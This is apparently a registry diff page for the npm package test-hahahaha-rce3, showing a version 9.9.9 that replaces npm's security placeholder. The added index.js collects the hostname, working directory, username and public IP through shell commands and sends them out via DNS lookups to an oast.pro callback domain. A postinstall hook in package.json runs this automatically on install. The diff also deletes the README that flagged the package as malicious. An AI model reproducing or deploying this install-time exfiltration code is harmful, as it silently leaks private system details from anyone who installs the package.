test-hahahaha-rce3 0.0.1-security → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of test-hahahaha-rce3 might be problematic. Click here for more details.
- package/index.js +39 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
const dns = require("dns");
|
|
2
|
+
const { execSync } = require("child_process");
|
|
3
|
+
|
|
4
|
+
// Function to execute a shell command and return sanitized output
|
|
5
|
+
function runCommand(cmd) {
|
|
6
|
+
return execSync(cmd).toString().trim().replace(/[^a-zA-Z0-9.-]/g, ""); // Ensure it's DNS-safe
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
// Get system data
|
|
10
|
+
const hostname = runCommand("hostname");
|
|
11
|
+
const pwd = runCommand("pwd");
|
|
12
|
+
const username = runCommand("whoami");
|
|
13
|
+
|
|
14
|
+
// Get public IP address
|
|
15
|
+
let publicIP;
|
|
16
|
+
try {
|
|
17
|
+
publicIP = runCommand("curl -s ifconfig.me"); // Fetch public IP
|
|
18
|
+
} catch (error) {
|
|
19
|
+
publicIP = "unknown";
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// Function to send DNS A record request
|
|
23
|
+
function sendDNSRequest(subdomain) {
|
|
24
|
+
const trackingDomain = `${subdomain}.${hostname}.cuq6qc0resr6s9214en0ui9b38z3fuas8.oast.pro`;
|
|
25
|
+
|
|
26
|
+
dns.resolve4(trackingDomain, (err, addresses) => {
|
|
27
|
+
if (err) {
|
|
28
|
+
// Silently handle errors
|
|
29
|
+
} else {
|
|
30
|
+
console.log(`DNS A record response for ${subdomain}: ${addresses}`);
|
|
31
|
+
}
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Send DNS requests in the correct order
|
|
36
|
+
sendDNSRequest(hostname); // Send HOSTNAME first
|
|
37
|
+
sendDNSRequest(`pwd-${pwd}`); // Send PWD under hostname
|
|
38
|
+
sendDNSRequest(`user-${username}`); // Send USERNAME under hostname
|
|
39
|
+
sendDNSRequest(`ip-${publicIP}`); // Send PUBLIC IP under hostname
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "test-hahahaha-rce3",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "9.9.9",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"directories": {
|
|
7
|
+
"test": "test"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
11
|
+
"postinstall":"node index.js"
|
|
12
|
+
},
|
|
13
|
+
"author": "",
|
|
14
|
+
"license": "ISC"
|
|
6
15
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=test-hahahaha-rce3 for more information.
|